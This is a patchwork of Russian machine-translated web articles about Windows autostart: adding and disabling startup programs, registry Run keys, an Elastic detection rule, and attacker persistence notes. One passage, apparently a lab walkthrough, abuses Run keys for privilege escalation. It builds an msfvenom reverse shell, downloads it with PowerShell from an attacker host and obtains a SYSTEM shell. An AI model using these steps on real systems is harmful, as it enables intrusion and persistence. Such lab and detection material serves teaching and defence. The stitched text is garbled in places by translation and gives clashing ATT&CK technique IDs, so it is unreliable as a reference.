Главным минусом описанного способа является то, что набор утилит Auslogics BoostSpeed не бесплатный.
Способ 3: конфигурация системы
Добавить объекты в автозапуск можно и при помощи собственного функционала Виндовс. Одним вариантов является использование конфигурации системы.
Этот вариант выполнения поставленной задачи тоже достаточно удобный, но у него имеется тот же недостаток, что и у способа с CCleaner: добавлять в автозагрузку можно только те программы, у которых ранее данная функция была отключена.
Способ 4: добавление ярлыка в папку автозагрузки
Что же делать, если вам необходимо организовать автоматический запуск определенной программы встроенными инструментами Windows, но она отсутствует в перечне в конфигурации системы? В этом случае следует добавить ярлык с адресом нужного приложения в одну из специальных папок автозапуска. Одна из таких папок предназначена для автоматической загрузки приложений, при заходе в систему под любым пользовательским профилем. Кроме того, существуют отдельные директории для каждого профиля. Приложения, ярлыки которых помещены в такие каталоги, автоматически запустятся только в том случае, если вы войдете в систему под определенным именем пользователя.
- Для того, чтобы переместиться в каталог автозапуска, сделайте щелчок по кнопке «Пуск» . Перейдите по названию «Все программы» .
- Ищите в перечне каталог . Если вы желаете организовать автозапуск приложения только при заходе в систему в текущий профиль, то произведя клик правой кнопкой мышки по указанному каталогу, выберите в перечне вариант «Открыть» .
Также в каталог для текущего профиля существует возможность переместиться через окошко «Выполнить» . Для этого жмите Win+R . В запустившемся окошке введите выражение:
Щелкните «OK» .
- Открывается каталог автозагрузки. Сюда требуется добавить ярлык со ссылкой на нужный объект. Для этого произведите щелчок правой кнопкой мышки по центральной области окна и в перечне выберите «Создать» . В дополнительном списке кликните по надписи «Ярлык» .
- Запускается окно формирования ярлыка. Для того, чтобы указать адрес размещения приложения на винчестере, которое вы хотите добавить в автозапуск, щелкните по «Обзор…» .
- Запускается окошко обзора файлов и папок. В большинстве случаев, за очень редким исключением, программы в Windows 7 расположены в директории со следующим адресом:
C:\Program Files
Перейдите в названную директорию и выделите нужный исполняемый файл, при необходимости перейдя во вложенную папку. Если же представлен тот редкий случай, когда приложение расположено не в указанной директории, то перейдите по актуальному адресу. После того, как выбор сделан, щелкните «OK» .
- Возвращаемся в окно создания ярлыка. Адрес объекта отобразился в поле. Жмите «Далее» .
- Открывается окно, в поле которого предлагается дать имя ярлыку. Учитывая, что данный ярлык будет выполнять чисто техническую функцию, то давать ему имя отличное от того, которое система присвоила автоматически, нет смысла. По умолчанию именем будет наименование выбранного ранее файла. Поэтому просто жмите «Готово» .
- После этого ярлык будет добавлен в каталог автозагрузки. Теперь приложение, которому он принадлежит, будет автоматически открываться при старте компьютера под текущим именем пользователя.
Существует возможность добавить объект в автозапуск для абсолютно всех учетных записей системы.
Способ 5: Планировщик заданий
Также автоматический запуск объектов можно устроить с помощью Планировщика заданий. Он позволит запустить любую программу, но особенно актуален данный способ для тех объектов, которые запускаются через контроль учетных записей (UAC). Ярлыки указанных элементов помечены значком в виде щита. Дело в том, что автоматически запустить подобную программу через размещение её ярлыка в каталоге автозапуска не получится, а вот планировщик заданий при правильном выставлении настроек сможет справиться с данной задачей.
- Для того, чтобы перейти в Планировщик заданий, сделайте щелчок по кнопке «Пуск» . Переместитесь по записи «Панель управления» .
- Далее произведите клик по названию «Система и безопасность» .
- В новом окне сделайте щелчок по «Администрирование» .
- Откроется окно со списком инструментов. Выберите в нем «Планировщик заданий» .
- Происходит запуск окна Планировщика заданий. В блоке «Действия» кликните по наименованию «Создать задачу…» .
- Открывается раздел «Общие» . В области «Имя» впишите любое удобное для вас наименование, по которому вы сможете идентифицировать задачу. Около пункта «Выполнить с наивысшими приоритетами» обязательно установите галочку. Это позволит производить автоматическую загрузку даже тогда, когда объект запускается под управлением UAC.
- Перейдите в раздел «Триггеры» . Сделайте щелчок по «Создать…» .
- Запускается инструмент создания триггера. В поле «Начать задачу» из раскрывшегося перечня выберите «При входе в систему» . Щелкните «OK» .
- Переместитесь в раздел «Действия» окна создания задачи. Кликните «Создать…» .
- Запускается инструмент создания действия. В поле «Действие» должно быть установлено значение «Запуск программы» . Справа от поля «Программа или сценарий» выполните щелчок по кнопке «Обзор…» .
- Запускается окно выбора объекта. Переместитесь в нем в ту директорию, где расположен файл нужного приложения, выделите его и щелкните «Открыть» .
- После возвращения в окно создания действия щелкните «OK» .
- Вернувшись в окно создания задачи, тоже жмите «OK» . В разделы «Условия» и «Параметры» переходить не нужно.
- Итак, мы создали задачу. Теперь при загрузке системы будет стартовать выбранная программа. Если в будущем понадобится выполнить удаление данной задачи, то, запустив Планировщик заданий, щелкните по наименованию «Библиотека планировщика заданий» , расположенному в левом блоке окна. Затем в верхней части центрального блока отыщите наименование поставленной задачи, произведите клик по ней правой кнопкой мышки и из открывшегося перечня выберите «Удалить» .
Существует довольно много вариантов добавления выбранной программы в автозапуск Виндовс 7. Указанную задачу можно выполнить с помощью встроенных инструментов системы и сторонних утилит. Выбор конкретного способа зависит от целого набора нюансов: хотите ли вы добавить объект в автозапуск для всех пользователей или только для текущей учетной записи, запускается ли приложение UAC и т.д. Не последнюю роль при выборе варианта играет и удобство выполнения процедуры для самого пользователя.
Привет! В этой статье я расскажу, как добавить приложение в автозапуск Windows 7, 8 или 10, не пользуясь никакими специальными программами, и не редактируя реестр. Этот способ подойдет даже для малоопытных пользователей.
Для чего добавлять программы в автозапуск? Если вы пользуетесь какими-то приложениями очень часто, например, Skype или NC, то чтобы не запускать эти программы каждый раз по отдельности, их можно включить в автозапуск. В этом случае выбранные приложения будут загружаться вместе с запуском Windows.
Добавление программ в автозагрузку Windows
Во многих программах при установке предусмотрена функция внесения ее в автозагрузку. Поставив соответствующую галочку, это приложение будет загружаться со стартом Windows. Однако, если подобная опция отсутствует, то некоторые пользователи ПК не знаю, как добавить программу в автозапуск Windows 7. Да и при установке софта никогда не знаешь, насколько он окажется востребованным в последствии.
Почему бы не включить в автозагрузку, например, Skype, которым приходится пользоваться каждый день?! Рассмотрим подробно, как включить автозапуск skype в Windows 10, 8, 7.
В случае со скайпом, ярлык программы у меня уже есть на рабочем столе. Если же вы хотите добавить приложение, которого нет на рабочем столе, то зайдите в установленную папку, найдите ярлык с расширением exe и скопируйте его на раб. стол.
Теперь, чтобы включить автозапуск skype в Windows 10, необходимо скопировать ярлык скайпа в эту папку . В моем случае ярлык находится на рабочем столе, поэтому скопировать его можно, зажав клавишу Ctrl
и перетащив ярлык сразу в папку Автозагрузка.
Все, теперь Skype или любая другая программа, с которой вы выполнили описанные действия, попадает в автозагрузку. Софт будет загружаться автоматически с каждым запуском Windows.
Как получить доступ или изменить элементы автозагрузки в реестре окон
Команда PowerShell
Некоторые приложения запускаются при запуске компьютера и загрузке Windows. В большинстве случаев это желаемое поведение. Однако в некоторых случаях вредоносные программы, такие как шпионское ПО, трояны, черви, вирусы, загружаются таким образом и захватывают ваш компьютер. Важно сохранять бдительность и периодически отслеживать ключи реестра при запуске и удалять ненужные ключи.
REGEDIT.EXE — это программа, которую вы запускаете для входа в реестр Windows
В вашем реестре Windows можно найти МНОГО запускаемых в фоновом режиме программ. Тем, кто любит управлять Windows через командную строку, не нужно запускать приложение с графическим интерфейсом, такое как REGEDIT, и использовать надоедливую мышь. Monad предлагает портал в мир реестра с помощью поставщика командлетов, который называется Registry Provider.
Итак, как нам получить доступ к поставщику реестра? Думайте о провайдере как о том, как вы перемещаетесь в файловой системе.Ключи реестра обрабатываются аналогично папкам в файловой системе, а значения реестра рассматриваются как файлы в файловой системе.
Итак, давайте немного рассмотрим, запустив MSH и затем установив местоположение в корень поставщика реестра.
MSH C: \ monad> Реестр компакт-дисков ::
MSH Microsoft.Management.Automation.Core \ Registry ::> dir
Улей:
SKC | VC | Имя | Недвижимость |
5 | 0 | HKEY_LOCAL_MACHINE | {} |
15 | 0 | HKEY_CURRENT_USER | {} |
535 | 1 | HKEY_CLASSES_ROOT | {EditFlags} |
0 | 2 | HKEY_CURRENT_CONFIG | {МИРОВОЙ, ЗАТРАТНЫЙ} |
10 | 0 | HKEY_USERS | {} |
Ниже приведены два наиболее распространенных раздела реестра, которые загружают приложения при запуске.
[HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run]
— Эти программы автоматически запускаются, когда любой пользователь входит в систему. Он используется для всех пользователей на этом компьютере
[HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run]
— Программы здесь автоматически запускаются, когда текущий пользователь входит в систему. Он используется только для текущего авторизованного пользователя.
Итак, перейдем к папке HKEY_LOCAL_MACHINE.
MSH Microsoft.Management.Automation.Core \ Registry ::> cd HKLM: \
-ИЛИ-
MSH Microsoft.Management.Automation.Core \ Registry ::> cd HKey_Local_Machine
Примечание. Не беспокойтесь о чувствительности к регистру, поскольку язык Monad не чувствителен к регистру.
Обе операции приведут вас в одно и то же место.
MSH HLKM: \> cd Software \ Microsoft \ Windows \ CurrentVersion
Примечание. Не беспокойтесь о чувствительности к регистру, поскольку язык Monad не чувствителен к регистру.
Теперь мы хотим просмотреть, что в настоящее время зарегистрировано для запуска при каждой загрузке Windows.
MSH HKLM: \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run> директория
Улей: Microsoft.Management.Automation.Core \ Registry :: HKEY_LOCAL_MACHINE \ SOFT
WARE \ Microsoft \ Windows \ CurrentVersion \ Run
SKC | VC | Имя | Недвижимость |
3 | 0 | Дополнительные компоненты | {} |
Так почему же мы не видим приложений, которые запускаются при загрузке Windows.Это связано с тем, что значения реестра обрабатываются как свойства существующего элемента или раздела реестра. Чтобы просмотреть приложения, загружаемые при запуске, введите следующую команду:
MSH HKLM: \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run> get-itemproperty.
Будет выведен список всех значений реестра в этом разделе. Те же шаги можно повторить для папки HKey_Current_User.
После выявления нежелательных значений реестра можно выполнить операцию удаления в Monad с помощью командлета remove-itemproperty.
MSH HKLM: \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run> remove-itemproperty -path. –Property [PropertyName]
Примечание. Будьте осторожны с использованием подстановочных знаков, поскольку вы можете случайно удалить все свойства элемента, указав «*» в параметре свойства.
-Сатиш
[ Edit: Monad теперь переименован в Windows PowerShell. Этот сценарий или обсуждение могут потребовать небольших корректировок, прежде чем они будут применены непосредственно к более новым сборкам.]
Список путей запуска, папок и параметров реестра в Windows 11/10
Windows содержит множество мест, куда можно поместить программу, чтобы она запускалась, как только вы войдете в систему. Если вы хотите получить доступ к приложениям, которые находятся в этих программах запуска, это альтернативный способ. Вы также можете использовать эти пути в приложениях или любых пользовательских изменениях, которые вы планируете внести в Windows 11 и Windows 10.
Вот список путей запуска, папок и параметров реестра Windows для приложений и программ, когда они запускаются при запуске. Это поможет вам управлять запускаемыми программами или отключать их.
Пути запуска, папки и параметры реестра Windows
Доступ к ним можно получить в двух местах:
- Папки запуска и
- Параметры реестра.
Помните, что перед тем, как вносить какие-либо изменения в реестр, всегда делайте резервную копию или создавайте точку восстановления системы.
1] Папки автозагрузки
Сначала включите параметр показывать скрытые файлы, а затем перейдите по любому из следующих путей и добавьте ярлыки программ, запускаемых при запуске.
C: \ Users \ [ИМЯ ПОЛЬЗОВАТЕЛЯ] \ AppData \ Roaming \ Microsoft \ Windows \ Start Menu \ Programs \ Startup C: \ Users \ AllUsers \ AppData \ Roaming \ Microsoft \ Windows \ Start Menu \ Programs \ Startup
Вы можете быстро открыть папку автозагрузки, набрав shell: startup
в строке Run, а затем нажав клавишу Enter, чтобы открыть папка автозагрузки Windows.
2] Параметры реестра
Перейдите по любому из следующих путей в соответствии с вашими требованиями, а затем добавьте новый «Строковый ключ» и сохраните путь к Программе, которая будет запускаться в значении этого ключа.
Для локального компьютера:
HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ RunOnce
Для текущего пользователя
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ RunOnce
Другие пути
HKU \ ProgID \ Software \ Microsoft \ Windows \ CurrentVersion \ Run <системный диск> \ Documents and Settings \ All Users \ Start Menu \ Programs \ Startup\ Documents and Settings \ username \ Start Menu \ Programs \ Startup
Некоторые из этих папок скрыты, в то время как другим необходимо добавить доступ к учетной записи пользователя, изменив права доступа к папке.
3] Программы для запуска во время входа в систему или при запуске проводника
Перейдите по следующему пути:
HKEY_LOCAL_MACHINE \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ WinLogon \
Добавьте путь к вашей программе для запуска следующим образом:
- Через строку оболочки, как путем редактирования значения ключа Оболочка как:
explorer.exe, <путь к вашей программе с расширением .exe>
- Через строку Userinit как путем редактирования значения ключа Userinit как:
C: \ Windows \ System32, <путь вашей программы с расширением.exe>
Этот метод позволяет добавлять программы, которые можно запускать напрямую из командной строки (Win + R) или при входе в Windows.
Надеюсь, сообщение было информативным, и теперь вы знаете пути запуска, папки и параметры реестра Windows.
СОВЕТ : Autostart Explorer позволяет исследовать ДАЖЕ самые неясные места запуска.
Выполнение автозапуска при входе в систему (ключи запуска реестра)
Если злоумышленник находит службу, имеющую все разрешения, и ее привязку к ключу запуска реестра, он может выполнить атаки с повышением привилегий или постоянством.Когда законный пользователь входит в систему, служебная ссылка на реестр будет выполнена автоматически, и эта атака известна как выполнение автозапуска при входе в систему из-за ключей запуска реестра.
Существует два метода выполнения автоматического запуска входа в систему:
Выполнение автозапуска при входе в систему: ключи запуска реестра
Выполнение автозапуска при входе в систему: папка автозагрузки
ОглавлениеКлючи реестра Run и RunOnce
Загрузочный | Выполнение автозапуска входа в систему (атака митрой)
Необходимое условие
Лабораторная установка
Повышение привилегий путем злоупотребления ключами запуска реестра
- Перечисление назначенных разрешений с помощью WinPEAS
- Создание вредоносного исполняемого файла
Run и RunOnce заставляют программы запускаться каждый раз, когда пользователь входит в систему.Ключи реестра «Выполнить» будут запускать задачу каждый раз при входе в систему. Ключи реестра RunOnce будут запускать задачи один раз, а затем удалить этот ключ. Затем идут Run и RunOnce; единственное отличие состоит в том, что RunOnce автоматически удалит запись после успешного выполнения.
Ключи запуска реестра выполняют одно и то же действие, но могут находиться в четырех разных местах:
HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run HKEY_CURRENT_USER \ Программное обеспечение \ Microsoft \ Windows \ CurrentVersion \ Выполнить HKEY_LOCAL_MACHINE \ Программное обеспечение \ Microsoft \ Windows \ CurrentVersion \ RunOnce HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ RunOnceЗагрузочный | Выполнение автозапуска при входе в систему: ключи запуска реестра
Внедрение вредоносной программы в папку автозагрузки также вызовет выполнение этой программы при входе пользователя в систему, таким образом, это может помочь злоумышленнику выполнить атаки с сохранением или повышением привилегий из неверно сконфигурированных расположений папки автозагрузки.
Этот метод является наиболее распространенным методом сохранения устойчивости, используемым хорошо известными APT, такими как APT18, APT29, APT37 и т. Д.
Идентификационный номер митры: T1574.001
Тактика: Повышение привилегий и постоянство
Платформы: Windows
Необходимое условиеЦелевая машина: Windows 10
Злоумышленник: Kali Linux
Инструменты: Winpeas.exe
Условие: Взломайте целевой компьютер с помощью доступа с низким уровнем привилегий либо с помощью Metasploit, либо Netcat и т. Д.
Цель: Повысить полномочия NT Authority / SYSTEM для пользователя с низкими привилегиями, используя неправильно настроенную папку автозагрузки.
Лабораторная установкаПримечание. Указанные шаги создадут лазейку из-за неправильно настроенной папки запуска, что позволит избежать такой конфигурации в производственной среде.
Step1 : создайте новый каталог внутри Program Files
mkdir C: \ Program Files \ Ignite Services
Шаг 2: Добавьте приложение, службу или программу в этот каталог.
Шаг 3. Измените разрешения для текущего каталога, разрешив полный доступ для аутентифицированных пользователей.
Шаг 4: Откройте командную строку «Выполнить», введите regedit.msc, чтобы изменить раздел реестра. Перейдите к HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run и создайте новое строковое значение «Services»
.Шаг 5: Укажите путь к службе, которую вы создали в / program files / Ignite (Путь к вашей службе).
Повышение привилегий путем злоупотребления ключами запуска реестраПеречисление назначенных разрешений в Winpeas
Злоумышленники могут использовать эти местоположения конфигурации для запуска вредоносных программ, таких как RAT, чтобы поддерживать постоянство во время перезагрузки системы.
Следуя за начальной точкой опоры, мы можем определить разрешения, используя следующую команду:
winPEASx64.exe тихое приложениеинфо
Здесь мы перечислили ВСЕ разрешения, назначенные для аутентифицированных пользователей в отношении «Ignite Services»
Создание вредоносного исполняемого файла
Как мы знаем, ВСЕ пользователи имеют права на чтение и запись для папки «Ignite Services», поэтому мы можем ввести RAT для сохранения или повышения привилегий.Давайте создадим исполняемую программу с помощью msfvenom.
msfvenom –p windows / shell_reverse_tcp lhost = 192.168.1.3 lport = 8888 –f exe> shell.exe python –m SimpleHTTPServer 80
Перед заменой исходного файла file.exe вредоносным файлом в exe переименуйте исходный файл file.exe в file.bak
Выполнение вредоносного исполняемого файла
Запустите прослушиватель netcat в новом терминале и перенесите файл .exe с помощью следующей команды
PowerShell WGET 192.168.1.3 / shell.exe -o shell.exe реж
Как мы знаем, эта атака называется Boot Logon Autostart Execution, что означает, что файл file.exe работает при перезагрузке системы.
Злоумышленник получит обратное соединение в новом сеансе netcat как NT Authority \ System
Номер ссылки :
https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys
https: // атака.mitre.org/techniques/T1547/001/
Автор: Аарти Сингх (Aarti Singh) — исследователь и технический писатель в Hacking Articles, консультант по информационной безопасности, любитель социальных сетей и гаджетов. Свяжитесь с здесь
Запуск или изменение реестра ключей | Эластичное решение безопасности [7.16]
Запуск или запуск изменения реестра ключейправить
Обозначает изменения ключа запуска или ключа запуска в реестре. Чтобы пережить перезагрузки и другие системные прерывания, злоумышленники будут изменять ключи запуска в реестре или использовать элементы папки автозагрузки в качестве формы сохранения.
Тип правила : eql
Индексы правил :
- winlogbeat- *
- logs-endpoint.events. *
- логи-окна. *
Уровень серьезности : низкий
Оценка риска : 21
Запускается каждые : 5 минут
Выполняет поиск индексов из : сейчас-9 мин. (Математический формат даты, см. Также Дополнительное время ретроспективного анализа
)
Максимальное количество предупреждений на выполнение : 100
Теги :
- Эластичный
- Хозяин
- Окна
- Обнаружение угроз
- Упорство
Версия : 4 (История версий)
Добавлено (выпуск Elastic Stack) : 7.11,0
Последнее изменение (выпуск Elastic Stack) : 7.13.0
Авторы правила : Резинка
Лицензия на правило : эластичная лицензия v2
Реестр, где registry.data.strings! = Null и registry.path: ( / * Машинный улей * / "HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ *", "HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ RunOnce \ *", "HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ RunOnceEx \ *", "HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explore r \ Run \ * "," HKLM \ Software \ Microsoft \ Windows NT \\ CurrentVersion \\ Winlogon \\ Shell \\ * ", / * Users Hive * / "HKEY_USERS \\ * \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ *", "HKEY_USERS \\ * \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ RunOnce \ \ * "," HKEY_USERS \\ * \\ Software \\ Microsoft \\ Windows \ CurrentVersio n \\ RunOnceEx \\ * "," HKEY_USERS \\ * \\ Software \\ Microsoft \\ Windows \\ C urrentVersion \ Policies \ Explorer \ Run \ * ", "HKEY_USERS \\ * \\ Программное обеспечение \\ Microsoft \\ Windows NT \ CurrentVersion \ Winlogon \ Shell \ * ") и / * добавить общие законные изменения, не будучи слишком ограничительными, поскольку это одна из наиболее часто используемые AESP * / не реестр.data.strings: "ctfmon.exe / n" и not (registry.value: "Application Restart # *" и process.name: "csrss.exe") и user.id не в ("S-1-5-18", "S-1-5-19", "S-1-5-20") а не registry.data.strings: ("?: \\ Program Files \\ *. exe", "?: \\ Program Files (x86) \\ *. Exe"), а не process.executable: ("?: \ Windows \ System32 \ msiexec.exe", "?: \\ Windows \\ SysWOW64 \\ msiexec.exe"), а не (имя_процесса: «OneDriveSetup.exe» и registry.value: («Удалить кэшированный Двоичный файл автономного обновления »,« Удалить двоичный файл кэшированного обновления »,« amd64 », «Удалить *») и реестр.data.strings: "?: \ Windows \ system32 \ cmd.exe / q / c * \ "?: \\ Users \\ * \\ AppData \\ Local \\ Microsoft \\ OneDrive \\ * \" ")
Рамка : MITER ATT & CK TM
- Версия 4 (выпуск 7.13.0)
- Версия 3 (выпуск 7.12.0)
- Версия 2 (выпуск 7.11.2)
Отключить автоматический запуск Microsoft Teams
После установки Microsoft Teams по умолчанию Teams настроен на автоматический запуск при входе в Windows 10.Многие (в том числе и я) ценят это, потому что команды — это часть повседневной работы в офисе. Однако, если вы установили Microsoft Teams, чтобы иметь возможность временно проводить видеоконференции в это время Corona и работать из дома, автоматический запуск Teams может доставить неудобства. В таком случае эта статья в блоге для вас. Я описываю все возможные способы остановить автоматический запуск Microsoft Teams при входе в ваше устройство с Windows 10.
Отключить автозапуск приложения из окна настроек
Самый простой и наиболее распространенный способ отключить автоматический запуск команд:
- Открыть главное окно команд
- В Teams щелкните левой кнопкой мыши фото профиля и выберите Настройки
- В окне настроек снимите галочку с Автозапуск приложения
- Закройте окно настроек
Вот и все.Нет необходимости нажимать «Сохранить» или «ОК». Настройки изменяются сразу после снятия флажка с опции Автозапуск приложения.
Удалите имя и значение раздела реестра
- Нажмите Пуск , введите Реестр и нажмите Редактор реестра (приложение)
- Перейдите к следующему ключу:
HKEY_CURRENT_USER -> ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ -> Microsoft -> Windows -> CurrentVersion -> Выполнить - В работе найдите com.белка.Команды.Команды по правому флангу
- Щелкните правой кнопкой мыши com.squirrel.Teams.Teams и щелкните Удалить
- Если будет предложено подтвердить удаление значения, нажмите Да
Отключите Microsoft Teams на вкладке запуска в диспетчере задач
- Откройте диспетчер задач . Либо щелкните правой кнопкой мыши панель задач и выберите Диспетчер задач , либо нажмите Пуск и найдите Диспетчер задач
- Щелкните вкладку Запуск
- Найдите Microsoft Teams , щелкните его правой кнопкой мыши и выберите Отключить
. Вы заметите, что флажок Автозапуск приложения в настройках Microsoft Teams все еще включен.Отключение Microsoft Teams из диспетчера задач — не самый чистый способ сделать это, но все же он очень эффективен.
Заключение
В Рим ведет множество дорог. Выше я описал 3 способа отключить автоматический запуск команд, но их будет гораздо больше. Например, через Powershell или через команду в Teams.
В любом случае, хорошо знать, что вы можете остановить автоматический запуск Microsoft Teams. Потому что вы используете Teams время от времени, потому что Microsoft Teams снижает производительность вашего ПК или просто потому, что вы хотите сохранить контроль над своим ПК.
Руководство по отключению Skype при запуске в Windows 10
В этом руководстве мы покажем вам, как отключить Skype при запуске на вашем ПК с Windows 10. Есть довольно много приложений, которые автоматически загружаются при запуске. Некоторые из них необходимы для правильного функционирования вашей системы, но этого нельзя сказать о некоторых других. И Skype, похоже, попадает в последнюю категорию. Если у вас установлено это приложение для видеозвонков, то, как только ваш компьютер запустится, оно автоматически загрузит все свои службы и программы.Это излишне занимает довольно много ресурсов и, следовательно, может замедлить работу вашего ПК при запуске.
И это, похоже, беспокоит многих пользователей, поскольку они не могут найти способ отключить приложение при запуске. Даже на форуме Microsoft более 300 пользователей, похоже, сталкиваются с указанной проблемой. Лучший вариант, который могла бы сделать Microsoft, — позволить пользователям выбирать, запускать ли они эту программу во время загрузки. К счастью, существует несколько методов, с помощью которых вы можете добиться этого.И в этом руководстве мы сосредоточимся именно на этом. Итак, без лишних слов, вот подробное руководство по отключению Skype при запуске на вашем ПК с Windows 10.
Как отключить Skype при запуске в Windows 10
В этом руководстве будут описаны пять различных методов решения вышеупомянутой задачи. Первые два метода можно было выполнить напрямую из самого приложения Skype. Третий использует системные настройки, за которыми следует метод диспетчера задач.Пятый и последний метод фокусируется на файлах редактора реестра. В большинстве случаев вы можете добиться успеха сразу после первого метода. Если этого не произошло, попробуйте другие методы отключения Skype при запуске в Windows 10. Следуйте инструкциям.
Метод 1. Выйти из Skype
Это самое простое исправление, не требующее особых усилий. Все, что вам нужно сделать, это просто выйти из своей учетной записи Skype. В следующий раз, когда ваш компьютер загрузится, Skype не загрузится. Хотя это может показаться немного странным, пока он не выполняет свою работу эффективно, не на что жаловаться.На этой ноте, вот необходимые шаги для выхода из Skype:
- Запустите Skype на своем компьютере.
- Затем нажмите на свой профиль в левом верхнем углу.
- В появившемся меню нажмите «Выйти».
Вот и все. В следующий раз Skype не будет запускаться при загрузке. Однако, если вам не удается добиться успеха, попробуйте четыре других решения, приведенных ниже.
Метод 2: Отключить автоматический запуск Skype Toggle
Вы также можете попробовать отключить переключатель «Автоматический запуск Skype», чтобы исправить эту проблему.Имейте в виду, что вы используете классическую версию Skype, тогда эта опция может называться «Запустить Skype», когда я запускаю Windows. Однако это единственное различие, шаги для них одинаковы, как указано ниже:
- Запустите Skype на своем компьютере.
- Щелкните значок переполнения (три вертикальные точки) и выберите «Настройки».
- Затем перейдите на вкладку «Общие» в левой строке меню.
- Наконец, отключите параметр «Автоматически запускать Skype (или« Запускать Skype при запуске Windows »)».Затем он отключит Skype при запуске на вашем ПК с Windows 10.
Метод 3. С помощью параметра запуска Windows
Для выполнения этой задачи вы также можете использовать параметр запуска Windows на странице настроек Windows 10.
- Перейдите на страницу настроек Windows. Для этого вы можете использовать сочетания клавиш Windows + I.
- Перейдите в раздел «Приложения» и выберите «Автозагрузка» в левой строке меню.
- Отключите переключатель рядом со Skype, и это, в свою очередь, должно отключить Skype при запуске и в Windows 10.
Метод 4: Использование диспетчера задач
В диспетчере задач также есть раздел, в котором перечислены все приложения, которые загружаются при запуске компьютера. Мы могли бы использовать эту функцию для отключения Skype следующим образом:
- Используйте сочетания клавиш Ctrl + Shift + Esc для запуска диспетчера задач. Вы также можете сделать то же самое, щелкнув правой кнопкой мыши значок Windows и выбрав указанный вариант.
- Затем перейдите на вкладку «Автозагрузка» и выберите Skype из списка.
- Наконец, нажмите кнопку «Отключить», и Skype перестанет загружаться при запуске Windows 10.
Метод 5. Отключить Skype при запуске через редактор реестра
Если ни один из вариантов не дал положительных результатов, возможно, вам придется пойти по пути редактора реестра. В этом разделе мы удалим файл запуска Skype с помощью редактора. Очень внимательно выполните следующие шаги:
- Используйте сочетание клавиш Windows + R, чтобы открыть диалоговое окно «Выполнить».
- Введите regedit и нажмите Enter. Это запустит редактор реестра.
- Теперь скопируйте и вставьте указанное ниже место в адресной строке редактора:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run
- Найдите файл реестра Skype, щелкните его правой кнопкой мыши и выберите «Удалить». Когда это будет сделано, перезагрузите компьютер, и проблема будет решена.
На этом мы завершаем руководство по отключению Skype при запуске на ПК с Windows 10.Мы поделились пятью разными методами для одного и того же, любой из которых должен дать желаемый результат. Сообщите нам в комментариях, каким методом удалось исправить проблему. В заключение, вот несколько советов и хитростей для iPhone, советов и уловок для ПК, а также советов и уловок для Android, которые вам также стоит попробовать.
Стойкость | Azeria Labs
Один из основных подходов к развертыванию персистентности — это использование папок автозагрузки. Эти папки просматриваются операционной системой во время запуска, и файлы, находящиеся в таких местах, выполняются.Операционная система Windows поддерживает два типа папок автозагрузки: пользовательские и общесистемные. В то время как файлы, расположенные в папке автозагрузки пользователя, выполняются только для этого конкретного пользователя, файлы, находящиеся в папке автозагрузки всей системы, выполняются для каждого отдельного пользователя, который входит в систему.
Простой пример сохранения через загрузочные папки для определенного пользователя не требует административных привилегий и, следовательно, является распространенным методом, используемым различными злоумышленниками. Для развертывания постоянства для всех пользователей с помощью этого метода требуются административные привилегии, поскольку общесистемная папка запуска защищена операционной системой.Этот метод можно легко продемонстрировать, скопировав файл или ярлык в одну из следующих папок.
Текущий пользователь Windows XP C: \ Documents and Settings \% USERNAME% \ Start Menu \ Programs \ Startup Windows Vista и более поздние версии C: \ Users \% USERNAME% \ Start Menu \ Programs \ Startup Все пользователи Windows XP C: \ Documents and Settings \ All Users \ Start Menu \ Programs \ Startup Windows Vista и более поздние версии C: \ ProgramData \ Microsoft \ Windows \ Меню Пуск \ Программы \ Автозагрузка
Другой распространенный метод, используемый для сохранения состояния, может быть воспроизведен путем создания ключей реестра в определенных местах.Как и в предыдущем примере, для запуска программы есть место в реестре пользователя и всей системы. Здесь снова требуются административные привилегии при развертывании постоянства для всех пользователей. В следующем списке представлены только наиболее распространенные расположения, используемые для сохранения с помощью ключей реестра.
Текущий пользователь HKEY_CURRENT_USER \ Программное обеспечение \ Microsoft \ Windows \ CurrentVersion \ Выполнить HKEY_CURRENT_USER \ Программное обеспечение \ Microsoft \ Windows \ CurrentVersion \ RunOnce HKEY_CURRENT_USER \ Программное обеспечение \ Microsoft \ Windows \ CurrentVersion \ RunServices HKEY_CURRENT_USER \ Программное обеспечение \ Microsoft \ Windows \ CurrentVersion \ RunServicesOnce Все пользователи HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run HKEY_LOCAL_MACHINE \ Программное обеспечение \ Microsoft \ Windows \ CurrentVersion \ RunOnce HKEY_LOCAL_MACHINE \ Программное обеспечение \ Microsoft \ Windows \ CurrentVersion \ RunServices HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ RunServicesOnce
Для реализации персистентности на основе реестра достаточно выполнить одну из следующих команд.
Текущий пользователь REG ADD HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run / v calc / t REG_SZ / d C: \ Windows \ System32 \ calc.exe Все пользователи REG ADD HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run / v calc / t REG_SZ / d C: \ Windows \ System32 \ calc.exe
